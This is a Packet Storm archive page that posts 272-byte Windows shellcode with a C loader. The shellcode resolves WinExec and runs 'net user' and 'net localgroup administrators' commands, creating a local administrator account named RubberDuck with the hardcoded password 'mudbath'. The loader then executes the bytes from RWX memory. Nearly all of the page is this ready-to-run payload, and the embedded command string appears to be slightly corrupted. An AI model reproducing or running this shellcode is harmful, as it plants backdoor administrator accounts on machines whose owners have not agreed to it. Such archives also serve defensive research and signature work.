exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Allwin WinExec Add Administrator Shellcode

Allwin WinExec Add Administrator Shellcode
Posted May 26, 2011
Authored by RubberDuck

272 bytes small Allwin WinExec add new local administrator and ExitProcess shellcode.

tags | local, shellcode
SHA-256 | fcffff604ac12f2370e0553cc5fcf04d5217fdf0a4406d5e7ccede4416d5d574

Allwin WinExec Add Administrator Shellcode

Change Mirror Download
/*
Title: Allwin WinExec add new local administrator + ExitProcess Shellcode - 272 bytes
Date: 2011-05-25
Author: RubberDuck
Web: http://bflow.security-portal.cz
Tested on: Win 2k, Win 2003, Win XP Home SP2/SP3 CZ/ENG (32), Win Vista (32)/(64), Win 7 (32)/(64), Win 2k8 (32)
-- command: cmd.exe /c net user RubberDuck mudbath /add && net localgroup administrators RubberDuck /add
-- Username: RubberDuck
-- Password: mudbath
*/

#include <stdio.h>
#include <windows.h>

int main(){
unsigned char shellcode[]=
"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
"\xFF\xD2\x6A\x05\xEB\x23\xFF\xD0\x68\x65"
"\x73\x73\x01\x8B\xDF\xFE\x4C\x24\x03\x68"
"\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54"
"\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x57\xFF"
"\xD0\xE8\xD8\xFF\xFF\xFF\x63\x6D\x64\x2E"
"\x65\x78\x65\x20\x2F\x63\x20\x6E\x65\x74"
"\x20\x75\x73\x65\x72\x20\x52\x75\x62\x62"
"\x65\x72\x44\x75\x63\x6B\x20\x6D\x75\x64"
"\x62\x61\x74\x68\x20\x2F\x61\x64\x64\x20"
"\x26\x26\x20\x6E\x65\x74\x20\x6C\x6F\x63"
"\x61\x6C\x67\x72\x6F\x75\x70\x20\x61\x64"
"\x6D\x74\x6F\x72\x73\x20\x52\x75\x62\x62"
"\x65\x72\x44\x75\x63\x6B\x20\x2F\x61\x64"
"\x64\x00";
LPVOID lpAlloc;
void (*pfunc)();

printf("size = %i bytes\n", lstrlen(shellcode) + 1);
printf("-------------------------\nUsername: RubberDuck\nPassword: mudbath\n");
system("PAUSE");

lpAlloc = VirtualAlloc(0, 4096,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

if(lpAlloc == NULL){
printf("Memory not allocated!\n");
return 0;
}

memcpy(lpAlloc, shellcode, lstrlen(shellcode) + 1);

pfunc = lpAlloc;

pfunc();

return 0;
}

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close